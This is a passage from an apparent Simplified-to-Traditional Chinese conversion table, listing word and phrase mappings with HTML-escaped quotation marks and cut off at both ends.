&#39;矇矓&#39;, &#39;蒙蔽&#39;: &#39;矇蔽&#39;, &#39;蒙骗&#39;: &#39;矇騙&#39;, &#39;短发&#39;: &#39;短髮&#39;, &#39;石英表&#39;: &#39;石英錶&#39;, &#39;研制&#39;: &#39;研製&#39;, &#39;砰当&#39;: &#39;砰噹&#39;, &#39;砲台&#39;: &#39;砲臺&#39;, &#39;朱唇皓齿&#39;: &#39;硃唇皓齒&#39;, &#39;朱批&#39;: &#39;硃批&#39;, &#39;朱砂&#39;: &#39;硃砂&#39;, &#39;朱笔&#39;: &#39;硃筆&#39;, &#39;朱红色&#39;: &#39;硃紅色&#39;, &#39;朱色&#39;: &#39;硃色&#39;, &#39;硬干&#39;: &#39;硬幹&#39;, &#39;砚台&#39;: &#39;硯臺&#39;, &#39;碑志&#39;: &#39;碑誌&#39;, &#39;磁制&#39;: &#39;磁製&#39;, &#39;磨制&#39;: &#39;磨製&#39;, &#39;示复&#39;: &#39;示覆&#39;, &#39;社里&#39;: &#39;社裡&#39;, &#39;神采&#39;: &#39;神采&#39;, &#39;御侮&#39;: &#39;禦侮&#39;, &#39;御寇&#39;: &#39;禦寇&#39;, &#39;御寒&#39;: &#39;禦寒&#39;, &#39;御敌&#39;: &#39;禦敵&#39;, &#39;秃发&#39;: &#39;禿髮&#39;, &#39;秀发&#39;: &#39;秀髮&#39;, &#39;私下里&#39;: &#39;私下裡&#39;, &#39;秋天里&#39;: &#39;秋天裡&#39;, &#39;秋裤&#39;: &#39;秋褲&#39;, &#39;秒表&#39;: &#39;秒錶&#39;, &#39;稀松&#39;: &#39;稀鬆&#39;, &#39;禀复&#39;: &#39;稟覆&#39;, &#39;稻谷&#39;: &#39;稻穀&#39;, &#39;稽征&#39;: &#39;稽征&#39;, &#39;谷仓&#39;: &#39;穀倉&#39;, &#39;谷场&#39;: &#39;穀場&#39;, &#39;谷子&#39;: &#39;穀子&#39;, &#39;谷壳&#39;: &#39;穀殼&#39;, &#39;谷物&#39;: &#39;穀物&#39;, &#39;谷皮&#39;: &#39;穀皮&#39;, &#39;谷神&#39;: &#39;穀神&#39;, &#39;谷粒&#39;: &#39;穀粒&#39;, &#39;谷舱&#39;: &#39;穀艙&#39;, &#39;谷苗&#39;: &#39;穀苗&#39;, &#39;谷草&#39;: &#39;穀草&#39;, &#39;谷贱伤农&#39;: &#39;穀賤傷農&#39;, &#39;谷道&#39;: &#39;穀道&#39;, &#39;谷雨&#39;: &#39;穀雨&#39;, &#39;谷类&#39;: &#39;穀類&#39;, &#39;积极参与&#39;: &#39;積极參与&#39;, &#39;积极参加&#39;: &#39;積极參加&#39;, &#39;空荡&#39;: &#39;空蕩&#39;, &#39;窗帘&#39;: &#39;窗帘&#39;, &#39;窗明几净&#39;: &#39;窗明几淨&#39;, &#39;窗台&#39;: &#39;窗臺&#39;, &#39;窝里&#39;: &#39;窩裡&#39;, &#39;窝阔台&#39;: &#39;窩闊臺&#39;, &#39;穷追不舍&#39;: &#39;窮追不捨&#39;, &#39;笆斗&#39;: &#39;笆斗&#39;, &#39;笑里藏刀&#39;: &#39;笑裡藏刀&#39;, &#39;第一卷&#39;: &#39;第一卷&#39;, &#39;筋斗&#39;: &#39;筋斗&#39;, &#39;答卷&#39;: &#39;答卷&#39;, &#39;答复&#39;: &#39;答覆&#39;, &#39;筵几&#39;: &#39;筵几&#39;, &#39;箕斗&#39;: &#39;箕斗&#39;, &#39;签着&#39;: &#39;簽著&#39;, &#39;吁求&#39;: &#39;籲求&#39;, &#39;吁请&#39;: &#39;籲請&#39;, &#39;粗制&#39;: &#39;粗製&#39;, &#39;粗卤&#39;: &#39;粗鹵&#39;, &#39;精干&#39;: &#39;精幹&#39;, &#39;精明强干&#39;: &#39;精明強幹&#39;, &#39;精致&#39;: &#39;精緻&#39;, &#39;精制&#39;: &#39;精製&#39;, &#39;精辟&#39;: &#39;精辟&#39;, &#39;精采&#39;: &#39;精采&#39;, &#39;糊里糊涂&#39;: &#39;糊裡糊塗&#39;, &#39;团子&#39;: &#39;糰子&#39;, &#39;系着&#39;: &#39;繫著&#39;, &#39;纪历&#39;: &#39;紀曆&#39;, &#39;红发&#39;: &#39;紅髮&#39;, &#39;红霉素&#39;: &#39;紅黴素&#39;, &#39;纡回&#39;: &#39;紆迴&#39;, &#39;纳采&#39;: &#39;納采&#39;, &#39;素食面&#39;: &#39;素食麵&#39;, &#39;素面&#39;: &#39;素麵&#39;, &#39;紫微斗数&#39;: &#39;紫微斗數&#39;, &#39;细致&#39;: &#39;細緻&#39;, &#39;组里&#39;: &#39;組裡&#39;, &#39;结发&#39;: &#39;結髮&#39;, &#39;绝对参照&#39;: &#39;絕對參照&#39;, &#39;丝来线去&#39;: &#39;絲來線去&#39;, &#39;丝布&#39;: &#39;絲布&#39;, &#39;丝板&#39;: &#39;絲板&#39;, &#39;丝瓜布&#39;: &#39;絲瓜布&#39;, &#39;丝绒布&#39;: &#39;絲絨布&#39;, &#39;丝线&#39;: &#39;絲線&#39;, &#39;丝织厂&#39;: &#39;絲織廠&#39;, &#39;丝虫&#39;: &#39;絲蟲&#39;, &#39;綑吊&#39;: &#39;綑吊&#39;, &#39;经卷&#39;: &#39;經卷&#39;, &#39;绿霉素&#39;: &#39;綠黴素&#39;, &#39;维系&#39;: &#39;維繫&#39;, &#39;绾发&#39;: &#39;綰髮&#39;, &#39;网里&#39;: &#39;網裡&#39;, &#39;紧绷&#39;: &#39;緊繃&#39;, &#39;紧绷着&#39;: &#39;緊繃著&#39;, &#39;紧追不舍&#39;: &#39;緊追不捨&#39;, &#39;编制&#39;: &#39;編製&#39;, &#39;编发&#39;: &#39;編髮&#39;, &#39;缓冲&#39;: &#39;緩衝&#39;, &#39;致密&#39;: &#39;緻密&#39;, &#39;萦回&#39;: &#39;縈迴&#39;, &#39;县里&#39;: &#39;縣裡&#39;, &#39;县志&#39;: &#39;縣誌&#39;, &#39;缝里&#39;: &#39;縫裡&#39;, &#39;缝制&#39;: &#39;縫製&#39;, &#39;纤夫&#39;: &#39;縴夫&#39;, &#39;繁复&#39;: &#39;繁複&#39;, &#39;绷住&#39;: &#39;繃住&#39;, &#39;绷子&#39;: &#39;繃子&#39;, &#39;绷带&#39;: &#39;繃帶&#39;, &#39;绷紧&#39;: &#39;繃緊&#39;, &#39;绷脸&#39;: &#39;繃臉&#39;, &#39;绷着&#39;: &#39;繃著&#39;, &#39;绷着脸&#39;: &#39;繃著臉&#39;, &#39;绷着脸儿&#39;: &#39;繃著臉兒&#39;, &#39;绷开&#39;: &#39;繃開&#39;, &#39;绘制&#39;: &#39;繪製&#39;, &#39;系上&#39;: &#39;繫上&#39;, &#39;系到&#39;: &#39;繫到&#39;, &#39;系囚&#39;: &#39;繫囚&#39;, &#39;系心&#39;: &#39;繫心&#39;, &#39;系念&#39;: &#39;繫念&#39;, &#39;系怀&#39;: &#39;繫懷&#39;, &#39;系于&#39;: &#39;繫於&#39;, &#39;系系&#39;: &#39;繫系&#39;, &#39;系紧&#39;: &#39;繫緊&#39;, &#39;系绳&#39;: &#39;繫繩&#39;, &#39;系辞&#39;: &#39;繫辭&#39;, &#39;缴卷&#39;: &#39;繳卷&#39;, &#39;累囚&#39;: &#39;纍囚&#39;, &#39;累累&#39;: &#39;纍纍&#39;, &#39;坛子&#39;: &#39;罈子&#39;, &#39;坛坛罐罐&#39;: &#39;罈罈罐罐&#39;, &#39;骂着&#39;: &#39;罵著&#39;, &#39;美制&#39;: &#39;美製&#39;, &#39;美发&#39;: &#39;美髮&#39;, &#39;翻来复去&#39;: &#39;翻來覆去&#39;, &#39;翻天复地&#39;: &#39;翻天覆地&#39;, &#39;翻复&#39;: &#39;翻覆&#39;, &#39;翻云复雨&#39;: &#39;翻雲覆雨&#39;, &#39;老么&#39;: &#39;老么&#39;, &#39;老板&#39;: &#39;老闆&#39;, &#39;考卷&#39;: &#39;考卷&#39;, &#39;耕获&#39;: &#39;耕穫&#39;, &#39;聊斋志异&#39;: &#39;聊齋誌異&#39;, &#39;联系&#39;: &#39;聯繫&#39;, &#39;肉丝面&#39;: &#39;肉絲麵&#39;, &#39;肉羹面&#39;: &#39;肉羹麵&#39;, &#39;肉松&#39;: &#39;肉鬆&#39;, &#39;肢体&#39;: &#39;肢体&#39;, &#39;背向着&#39;: &#39;背向著&#39;, &#39;背地里&#39;: &#39;背地裡&#39;, &#39;胡里胡涂&#39;: &#39;胡裡胡塗&#39;, &#39;能干&#39;: &#39;能幹&#39;, &#39;脉冲&#39;: &#39;脈衝&#39;, &#39;脱发&#39;: &#39;脫髮&#39;, &#39;腊味&#39;: &#39;腊味&#39;, &#39;腊笔&#39;: &#39;腊筆&#39;, &#39;腊肉&#39;: &#39;腊肉&#39;, &#39;脑子里&#39;: &#39;腦子裡&#39;, &#39;腰里&#39;: &#39;腰裡&#39;, &#39;胶卷&#39;: &#39;膠卷&#39;, &#39;自制&#39;: &#39;自製&#39;, &#39;自觉自愿&#39;: &#39;自覺自愿&#39;, &#39;台上&#39;: &#39;臺上&#39;, &#39;台下&#39;: &#39;臺下&#39;, &#39;台中&#39;: &#39;臺中&#39;, &#39;台北&#39;: &#39;臺北&#39;, &#39;台南&#39;: &#39;臺南&#39;, &#39;台地&#39;: &#39;臺地&#39;, &#39;台塑&#39;: &#39;臺塑&#39;, &#39;台大&#39;: &#39;臺大&#39;, &#39;台币&#39;: &#39;臺幣&#39;, &#39;台座&#39;: &#39;臺座&#39;, &#39;台东&#39;: &#39;臺東&#39;, &#39;台柱&#39;: &#39;臺柱&#39;, &#39;台榭&#39;: &#39;臺榭&#39;, &#39;台汽&#39;: &#39;臺汽&#39;, &#39;台海&#39;: &#39;臺海&#39;, &#39;台澎金马&#39;: &#39;臺澎金馬&#39;, &#39;台湾&#39;: &#39;臺灣&#39;, &#39;台省&#39;: &#39;臺省&#39;, &#39;台端&#39;: &#39;臺端&#39;, &#39;台糖&#39;: &#39;臺糖&#39;, &#39;台肥&#39;: &#39;臺肥&#39;, &#39;台航&#39;: &#39;臺航&#39;, &#39;台视&#39;: &#39;臺視&#39;, &#39;台词&#39;: &#39;臺詞&#39;, &#39;台车&#39;: &#39;臺車&#39;, &#39;台铁&#39;: &#39;臺鐵&#39;, &#39;台阶&#39;: &#39;臺階&#39;, &#39;台电&#39;: &#39;臺電&#39;, &#39;舂谷&#39;: &#39;舂穀&#39;, &#39;兴致&#39;: &#39;興緻&#39;, &#39;兴高采烈&#39;: &#39;興高采烈&#39;, &#39;旧历&#39;: &#39;舊曆&#39;, &#39;舒卷&#39;: &#39;舒卷&#39;, &#39;舞台&#39;: &#39;舞臺&#39;, &#39;航海历&#39;: &#39;航海曆&#39;, &#39;船只&#39;: &#39;船隻&#39;, &#39;舰只&#39;: &#39;艦隻&#39;, &#39;芬郁&#39;: &#39;芬郁&#39;, &#39;花卷&#39;: &#39;花卷&#39;, &#39;花盆里&#39;: &#39;花盆裡&#39;, &#39;花采&#39;: &#39;花采&#39;, &#39;苑里&#39;: &#39;苑裡&#39;, &#39;若干&#39;: &#39;若干&#39;, &#39;苦干&#39;: &#39;苦幹&#39;, &#39;苦里&#39;: &#39;苦裏&#39;, &#39;苦卤&#39;: &#39;苦鹵&#39;, &#39;范仲淹&#39;: &#39;范仲淹&#39;, &#39;范蠡&#39;: &#39;范蠡&#39;, &#39;范阳&#39;: &#39;范陽&#39;, &#39;茅台&#39;: &#39;茅臺&#39;, &#39;茶几&#39;: &#39;茶几&#39;, &#39;草丛里&#39;: &#39;草叢裡&#39;, &#39;庄里&#39;: &#39;莊裡&#39;, &#39;茎干&#39;: &#39;莖幹&#39;, &#39;莽荡&#39;: &#39;莽蕩&#39;, &#39;菌丝体&#39;: &#39;菌絲體&#39;, &#39;华里&#39;: &#39;華裡&#39;, &#39;华发&#39;: &#39;華髮&#39;, &#39;万卷&#39;: &#39;萬卷&#39;, &#39;万历&#39;: &#39;萬曆&#39;, &#39;万只&#39;: &#39;萬隻&#39;, &#39;落发&#39;: &#39;落髮&#39;, &#39;着儿&#39;: &#39;著兒&#39;, &#39;着书立说&#39;: &#39;著書立說&#39;, &#39;着色软体&#39;: &#39;著色軟體&#39;, &#39;着重指出&#39;: &#39;著重指出&#39;, &#39;着录&#39;: &#39;著錄&#39;, &#39;着录规则&#39;: &#39;著錄規則&#39;, &#39;蓄发&#39;: &#39;蓄髮&#39;, &#39;蓄须&#39;: &#39;蓄鬚&#39;, &#39;蓬发&#39;: &#39;蓬髮&#39;, &#39;蓬松&#39;: &#39;蓬鬆&#39;, &#39;莲台&#39;: &#39;蓮臺&#39;, &#39;荡来荡去&#39;: &#39;蕩來蕩去&#39;, &#39;荡女&#39;: &#39;蕩女&#39;, &#39;荡妇&#39;: &#39;蕩婦&#39;, &#39;荡寇&#39;: &#39;蕩寇&#39;, &#39;荡平&#39;: &#39;蕩平&#39;, &#39;荡涤&#39;: &#39;蕩滌&#39;, &#39;荡漾&#39;: &#39;蕩漾&#39;, &#39;荡然&#39;: &#39;蕩然&#39;, &#39;荡舟&#39;: &#39;蕩舟&#39;, &#39;荡船&#39;: &#39;蕩船&#39;, &#39;荡荡&#39;: &#39;蕩蕩&#39;, &#39;薑丝&#39;: &#39;薑絲&#39;, &#39;薙发&#39;: &#39;薙髮&#39;, &#39;借以&#39;: &#39;藉以&#39;, &#39;借口&#39;: &#39;藉口&#39;, &#39;借故&#39;: &#39;藉故&#39;, &#39;借机&#39;: &#39;藉機&#39;, &#39;借此&#39;: &#39;藉此&#39;, &#39;借由&#39;: &#39;藉由&#39;, &#39;借端&#39;: &#39;藉端&#39;, &#39;借借&#39;: &#39;藉藉&#39;, &#39;借词&#39;: &#39;藉詞&#39;, &#39;借资&#39;: &#39;藉資&#39;, &#39;借酒浇愁&#39;: &#39;藉酒澆愁&#39;, &#39;藤制&#39;: &#39;藤製&#39;, &#39;蕴含着&#39;: &#39;蘊含著&#39;, &#39;蕴涵着&#39;: &#39;蘊涵著&#39;, &#39;蕴借&#39;: &#39;蘊藉&#39;, &#39;萝卜&#39;: &#39;蘿蔔&#39;, &#39;虎须&#39;: &#39;虎鬚&#39;, &#39;号志&#39;: &#39;號誌&#39;, &#39;蜂后&#39;: &#39;蜂后&#39;, &#39;蛮干&#39;: &#39;蠻幹&#39;, &#39;行事历&#39;: &#39;行事曆&#39;, &#39;胡同&#39;: &#39;衚衕&#39;, &#39;冲上&#39;: &#39;衝上&#39;, &#39;冲下&#39;: &#39;衝下&#39;, &#39;冲来&#39;: &#39;衝來&#39;, &#39;冲倒&#39;: &#39;衝倒&#39;, &#39;冲出&#39;: &#39;衝出&#39;, &#39;冲到&#39;: &#39;衝到&#39;, &#39;冲刺&#39;: &#39;衝刺&#39;, &#39;冲克&#39;: &#39;衝剋&#39;, &#39;冲力&#39;: &#39;衝力&#39;, &#39;冲劲&#39;: &#39;衝勁&#39;, &#39;冲动&#39;: &#39;衝動&#39;, &#39;冲去&#39;: &#39;衝去&#39;, &#39;冲口&#39;: &#39;衝口&#39;, &#39;冲垮&#39;: &#39;衝垮&#39;, &#39;冲堂&#39;: &#39;衝堂&#39;, &#39;冲压&#39;: &#39;衝壓&#39;, &#39;冲天&#39;: &#39;衝天&#39;, &#39;冲掉&#39;: &#39;衝掉&#39;, &#39;冲撞&#39;: &#39;衝撞&#39;, &#39;冲击&#39;: &#39;衝擊&#39;, &#39;冲散&#39;: &#39;衝散&#39;, &#39;冲决&#39;: &#39;衝決&#39;, &#39;冲浪&#39;: &#39;衝浪&#39;, &#39;冲激&#39;: &#39;衝激&#39;, &#39;冲破&#39;: &#39;衝破&#39;, &#39;冲程&#39;: &#39;衝程&#39;, &#39;冲突&#39;: &#39;衝突&#39;, &#39;冲线&#39;: &#39;衝線&#39;, &#39;冲冲&#39;: &#39;衝衝&#39;, &#39;冲要&#39;: &#39;衝要&#39;, &#39;冲起&#39;: &#39;衝起&#39;, &#39;冲进&#39;: &#39;衝進&#39;, &#39;冲过&#39;: &#39;衝過&#39;, &#39;冲锋&#39;: &#39;衝鋒&#39;, &#39;表里&#39;: &#39;表裡&#39;, &#39;袖里&#39;: &#39;袖裡&#39;, &#39;被里&#39;: &#39;被裡&#39;, &#39;被复&#39;: &#39;被覆&#39;, &#39;被复着&#39;: &#39;被覆著&#39;, &#39;被发&#39;: &#39;被髮&#39;, &#39;裁并&#39;: &#39;裁併&#39;, &#39;裁制&#39;: &#39;裁製&#39;, &#39;里面&#39;: &#39;裡面&#39;, &#39;里人&#39;: &#39;裡人&#39;, &#39;里加&#39;: &#39;裡加&#39;, &#39;里外&#39;: &#39;裡外&#39;, &#39;里子&#39;: &#39;裡子&#39;, &#39;里屋&#39;: &#39;裡屋&#39;, &#39;里层&#39;: &#39;裡層&#39;, &#39;里布&#39;: &#39;裡布&#39;, &#39;里带&#39;: &#39;裡帶&#39;, &#39;里弦&#39;: &#39;裡弦&#39;, &#39;里应外合&#39;: &#39;裡應外合&#39;, &#39;里拉&#39;: &#39;裡拉&#39;, &#39;里斯&#39;: &#39;裡斯&#39;, &#39;里海&#39;: &#39;裡海&#39;, &#39;里脊&#39;: &#39;裡脊&#39;, &#39;里衣&#39;: &#39;裡衣&#39;, &#39;里里&#39;: &#39;裡裡&#39;, &#39;里通外国&#39;: &#39;裡通外國&#39;, &#39;里通外敌&#39;: &#39;裡通外敵&#39;, &#39;里边&#39;: &#39;裡邊&#39;, &#39;里间&#39;: &#39;裡間&#39;, &#39;里头&#39;: &#39;裡頭&#39;, &#39;制件&#39;: &#39;製件&#39;, &#39;制作&#39;: &#39;製作&#39;, &#39;制做&#39;: &#39;製做&#39;, &#39;制备&#39;: &#39;製備&#39;, &#39;制冰&#39;: &#39;製冰&#39;, &#39;制冷&#39;: &#39;製冷&#39;, &#39;制剂&#39;: &#39;製劑&#39;, &#39;制品&#39;: &#39;製品&#39;, &#39;制图&#39;: &#39;製圖&#39;, &#39;制成&#39;: &#39;製成&#39;, &#39;制法&#39;: &#39;製法&#39;, &#39;制为&#39;: &#39;製為&#39;, &#39;制片&#39;: &#39;製片&#39;, &#39;制版&#39;: &#39;製版&#39;, &#39;制程&#39;: &#39;製程&#39;, &#39;制糖&#39;: &#39;製糖&#39;, &#39;制纸&#39;: &#39;製紙&#39;, &#39;制药&#39;: &#39;製藥&#39;, &#39;制表&#39;: &#39;製表&#39;, &#39;制裁&#39;: &#39;製裁&#39;, &#39;制造&#39;: &#39;製造&#39;, &#39;制革&#39;: &#39;製革&#39;, &#39;制鞋&#39;: &#39;製鞋&#39;, &#39;制盐&#39;: &#39;製鹽&#39;, &#39;复仞年如&#39;: &#39;複仞年如&#39;, &#39;复以百万&#39;: &#39;複以百萬&#39;, &#39;复位&#39;: &#39;複位&#39;, &#39;复信&#39;: &#39;覆信&#39;, &#39;复分数&#39;: &#39;複分數&#39;, &#39;复列&#39;: &#39;複列&#39;, &#39;复利&#39;: &#39;複利&#39;, &#39;复印&#39;: &#39;複印&#39;, &#39;复原&#39;: &#39;複原&#39;, &#39;复句&#39;: &#39;複句&#39;, &#39;复合&#39;: &#39;複合&#39;, &#39;复名&#39;: &#39;複名&#39;, &#39;复员&#39;: &#39;複員&#39;, &#39;复壁&#39;: &#39;複壁&#39;, &#39;复壮&#39;: &#39;複壯&#39;, &#39;复姓&#39;: &#39;複姓&#39;, &#39;复字键&#39;: &#39;複字鍵&#39;, &#39;复审&#39;: &#39;覆審&#39;, &#39;复写&#39;: &#39;複寫&#39;, &#39;复式&#39;: &#39;複式&#39;, &#39;复复&#39;: &#39;複復&#39;, &#39;复数&#39;: &#39;複數&#39;, &#39;复本&#39;: &#39;複本&#39;, &#39;复查&#39;: &#39;複查&#39;, &#39;复核&#39;: &#39;覆核&#39;, &#39;复检&#39;: &#39;複檢&#39;, &#39;复次&#39;: &#39;複次&#39;, &#39;复比&#39;: &#39;複比&#39;, &#39;复决&#39;: &#39;複決&#39;, &#39;复活&#39;: &#39;複活&#39;, &#39;复测&#39;: &#39;複測&#39;, &#39;复亩珍&#39;: &#39;複畝珍&#39;, &#39;复发&#39;: &#39;複發&#39;, &#39;复目&#39;: &#39;複目&#39;, &#39;复眼&#39;: &#39;複眼&#39;, &#39;复种&#39;: &#39;複種&#39;, &#39;复线&#39;: &#39;複線&#39;, &#39;复习&#39;: &#39;複習&#39;, &#39;复兴社&#39;: &#39;複興社&#39;, &#39;复旧&#39;: &#39;複舊&#39;, &#39;复色&#39;: &#39;複色&#39;, &#39;复叶&#39;: &#39;複葉&#39;, &#39;复盖&#39;: &#39;覆蓋&#39;, &#39;复苏&#39;: &#39;複蘇&#39;, &#39;复制&#39;: &#39;複製&#39;, &#39;复诊&#39;: &#39;複診&#39;, &#39;复词&#39;: &#39;複詞&#39;, &#39;复试&#39;: &#39;覆試&#39;, &#39;复课&#39;: &#39;複課&#39;, &#39;复议&#39;: &#39;覆議&#39;, &#39;复变函数&#39;: &#39;複變函數&#39;, &#39;复赛&#39;: &#39;複賽&#39;, &#39;复述&#39;: &#39;複述&#39;, &#39;复选&#39;: &#39;複選&#39;, &#39;复钱&#39;: &#39;複錢&#39;, &#39;复杂&#39;: &#39;複雜&#39;, &#39;复电&#39;: &#39;覆電&#39;, &#39;复音&#39;: &#39;複音&#39;, &#39;复韵&#39;: &#39;複韻&#39;, &#39;衬里&#39;: &#39;襯裡&#39;, &#39;西岳&#39;: &#39;西嶽&#39;, &#39;西征&#39;: &#39;西征&#39;, &#39;西历&#39;: &#39;西曆&#39;, &#39;要冲&#39;: &#39;要衝&#39;, &#39;要么&#39;: &#39;要麼&#39;, &#39;复上&#39;: &#39;覆上&#39;, &#39;复亡&#39;: &#39;覆亡&#39;, &#39;复住&#39;: &#39;覆住&#39;, &#39;复命&#39;: &#39;覆命&#39;, &#39;复在&#39;: &#39;覆在&#39;, &#39;复巢之下&#39;: &#39;覆巢之下&#39;, &#39;复成&#39;: &#39;覆成&#39;, &#39;复败&#39;: &#39;覆敗&#39;, &#39;复文&#39;: &#39;覆文&#39;, &#39;复校&#39;: &#39;覆校&#39;, &#39;复水难收&#39;: &#39;覆水難收&#39;, &#39;复没&#39;: &#39;覆沒&#39;, &#39;复灭&#39;: &#39;覆滅&#39;, &#39;复盆&#39;: &#39;覆盆&#39;, &#39;复舟&#39;: &#39;覆舟&#39;, &#39;复着&#39;: &#39;覆著&#39;, &#39;复盖着&#39;: &#39;覆蓋著&#39;, &#39;复车&#39;: &#39;覆車&#39;, &#39;复载&#39;: &#39;覆載&#39;, &#39;复辙&#39;: &#39;覆轍&#39;, &#39;见复&#39;: &#39;見覆&#39;, &#39;亲征&#39;: &#39;親征&#39;, &#39;观众台&#39;: &#39;觀眾臺&#39;, &#39;观台&#39;: &#39;觀臺&#39;, &#39;观象台&#39;: &#39;觀象臺&#39;, &#39;角落里&#39;: &#39;角落裡&#39;, &#39;觔斗&#39;: &#39;觔斗&#39;, &#39;触须&#39;: &#39;觸鬚&#39;, &#39;订制&#39;: &#39;訂製&#39;, &#39;诉说着&#39;: &#39;訴說著&#39;, &#39;词汇&#39;: &#39;詞彙&#39;, &#39;试卷&#39;: &#39;試卷&#39;, &#39;诗卷&#39;: &#39;詩卷&#39;, &#39;话里有话&#39;: &#39;話裡有話&#39;, &#39;志哀&#39;: &#39;誌哀&#39;, &#39;志喜&#39;: &#39;誌喜&#39;, &#39;志庆&#39;: &#39;誌慶&#39;, &#39;语云&#39;: &#39;語云&#39;, &#39;语汇&#39;: &#39;語彙&#39;, &#39;诬蔑&#39;: &#39;誣衊&#39;, &#39;诵经台&#39;: &#39;誦經臺&#39;, &#39;说着&#39;: &#39;說著&#39;, &#39;课征&#39;: &#39;課征&#39;, &#39;调制&#39;: &#39;調製&#39;, &#39;调频台&#39;: &#39;調頻臺&#39;, &#39;请参阅&#39;: &#39;請參閱&#39;, &#39;讲台&#39;: &#39;講臺&#39;, &#39;谢绝参观&#39;: &#39;謝絕參觀&#39;, &#39;护发&#39;: &#39;護髮&#39;, &#39;雠隙&#39;: &#39;讎隙&#39;, &#39;豆腐干&#39;: &#39;豆腐干&#39;, &#39;竖着&#39;: &#39;豎著&#39;, &#39;丰富多采&#39;: &#39;豐富多采&#39;, &#39;丰滨&#39;: &#39;豐濱&#39;, &#39;丰滨乡&#39;: &#39;豐濱鄉&#39;, &#39;象征着&#39;: &#39;象徵著&#39;, &#39;贵干&#39;: &#39;貴幹&#39;, &#39;贾后&#39;: &#39;賈后&#39;, &#39;赈饥&#39;: &#39;賑饑&#39;, &#39;贤后&#39;: &#39;賢后&#39;, &#39;质朴&#39;: &#39;質朴&#39;, &#39;赌台&#39;: &#39;賭檯&#39;, &#39;购并&#39;: &#39;購併&#39;, &#39;赤松&#39;: &#39;赤鬆&#39;, &#39;起吊&#39;: &#39;起吊&#39;, &#39;起复&#39;: &#39;起複&#39;, &#39;赶制&#39;: &#39;趕製&#39;, &#39;跌荡&#39;: &#39;跌蕩&#39;, &#39;跟斗&#39;: &#39;跟斗&#39;, &#39;跳荡&#39;: &#39;跳蕩&#39;, &#39;跳表&#39;: &#39;跳錶&#39;, &#39;踬仆&#39;: &#39;躓仆&#39;, &#39;躯干&#39;: &#39;軀幹&#39;, &#39;车库里&#39;: &#39;車庫裡&#39;, &#39;车站里&#39;: &#39;車站裡&#39;, &#39;车里&#39;: &#39;車裡&#39;, &#39;轻松&#39;: &#39;輕鬆&#39;, &#39;轮回&#39;: &#39;輪迴&#39;, &#39;转台&#39;: &#39;轉檯&#39;, &#39;辛丑&#39;: &#39;辛丑&#39;, &#39;辟邪&#39;: &#39;辟邪&#39;, &#39;办伙&#39;: &#39;辦伙&#39;, &#39;办公台&#39;: &#39;辦公檯&#39;, &#39;辞汇&#39;: &#39;辭彙&#39;, &#39;农历&#39;: &#39;農曆&#39;, &#39;迂回&#39;: &#39;迂迴&#39;, &#39;近日里&#39;: &#39;近日裡&#39;, &#39;迥然回异&#39;: &#39;迥然迴異&#39;, &#39;回光返照&#39;: &#39;迴光返照&#39;, &#39;回向&#39;: &#39;迴向&#39;, &#39;回圈&#39;: &#39;迴圈&#39;, &#39;回廊&#39;: &#39;迴廊&#39;, &#39;回形夹&#39;: &#39;迴形夾&#39;, &#39;回文&#39;: &#39;迴文&#39;, &#39;回旋&#39;: &#39;迴旋&#39;, &#39;回流&#39;: &#39;迴流&#39;, &#39;回环&#39;: &#39;迴環&#39;, &#39;回纹针&#39;: &#39;迴紋針&#39;, &#39;回绕&#39;: &#39;迴繞&#39;, &#39;回肠&#39;: &#39;迴腸&#39;, &#39;回诵&#39;: &#39;迴誦&#39;, &#39;回路&#39;: &#39;迴路&#39;, &#39;回转&#39;: &#39;迴轉&#39;, &#39;回递性&#39;: &#39;迴遞性&#39;, &#39;回避&#39;: &#39;迴避&#39;, &#39;回响&#39;: &#39;迴響&#39;, &#39;回风&#39;: &#39;迴風&#39;, &#39;回首&#39;: &#39;迴首&#39;, &#39;迷蒙&#39;: &#39;迷濛&#39;, &#39;退伙&#39;: &#39;退伙&#39;, &#39;这么着&#39;: &#39;這麼著&#39;, &#39;这里&#39;: &#39;這裡&#39;, &#39;这只&#39;: &#39;這隻&#39;, &#39;这么&#39;: &#39;這麼&#39;, &#39;通心面&#39;: &#39;通心麵&#39;, &#39;速食面&#39;: &#39;速食麵&#39;, &#39;连系&#39;: &#39;連繫&#39;, &#39;连台好戏&#39;: &#39;連臺好戲&#39;, &#39;遍布&#39;: &#39;遍佈&#39;, &#39;递回&#39;: &#39;遞迴&#39;, &#39;远征&#39;: &#39;遠征&#39;, &#39;适才&#39;: &#39;適纔&#39;, &#39;遮复&#39;: &#39;遮覆&#39;, &#39;还冲&#39;: &#39;還衝&#39;, &#39;邋里邋遢&#39;: &#39;邋裡邋遢&#39;, &#39;那里&#39;: &#39;那裡&#39;, &#39;那只&#39;: &#39;那隻&#39;, &#39;那么&#39;: &#39;那麼&#39;, &#39;那么着&#39;: &#39;那麼著&#39;, &#39;邪辟&#39;: &#39;邪辟&#39;, &#39;郁烈&#39;: &#39;郁烈&#39;, &#39;郁穆&#39;: &#39;郁穆&#39;, &#39;郁郁&#39;: &#39;鬱郁&#39;, &#39;郁闭&#39;: &#39;郁閉&#39;, &#39;郁馥&#39;: &#39;郁馥&#39;, &#39;乡愿&#39;: &#39;鄉愿&#39;, &#39;乡里&#39;: &#39;鄉裡&#39;, &#39;邻里&#39;: &#39;鄰裡&#39;, &#39;配合着&#39;: &#39;配合著&#39;, &#39;配制&#39;: &#39;配製&#39;, &#39;酒杯&#39;: &#39;酒盃&#39;, &#39;酒坛&#39;: &#39;酒罈&#39;, &#39;酥松&#39;: &#39;酥鬆&#39;, &#39;醋坛&#39;: &#39;醋罈&#39;, &#39;酝借&#39;: &#39;醞藉&#39;, &#39;酝酿着&#39;: &#39;醞釀著&#39;, &#39;医药&#39;: &#39;醫葯&#39;, &#39;醲郁&#39;: &#39;醲郁&#39;, &#39;酿制&#39;: &#39;釀製&#39;, &#39;采地&#39;: &#39;采地&#39;, &#39;采女&#39;: &#39;采女&#39;, &#39;采声&#39;: &#39;采聲&#39;, &#39;采色&#39;: &#39;采色&#39;, &#39;采邑&#39;: &#39;采邑&#39;, &#39;里程表&#39;: &#39;里程錶&#39;, &#39;重折&#39;: &#39;重摺&#39;, &#39;重复&#39;: &#39;重覆&#39;, &#39;重锤&#39;: &#39;重鎚&#39;, &#39;野台戏&#39;: &#39;野臺戲&#39;, &#39;金斗&#39;: &#39;金斗&#39;, &#39;金表&#39;: &#39;金錶&#39;, &#39;金发&#39;: &#39;金髮&#39;, &#39;金霉素&#39;: &#39;金黴素&#39;, &#39;钉锤&#39;: &#39;釘鎚&#39;, &#39;银朱&#39;: &#39;銀硃&#39;, &#39;银发&#39;: &#39;銀髮&#39;, 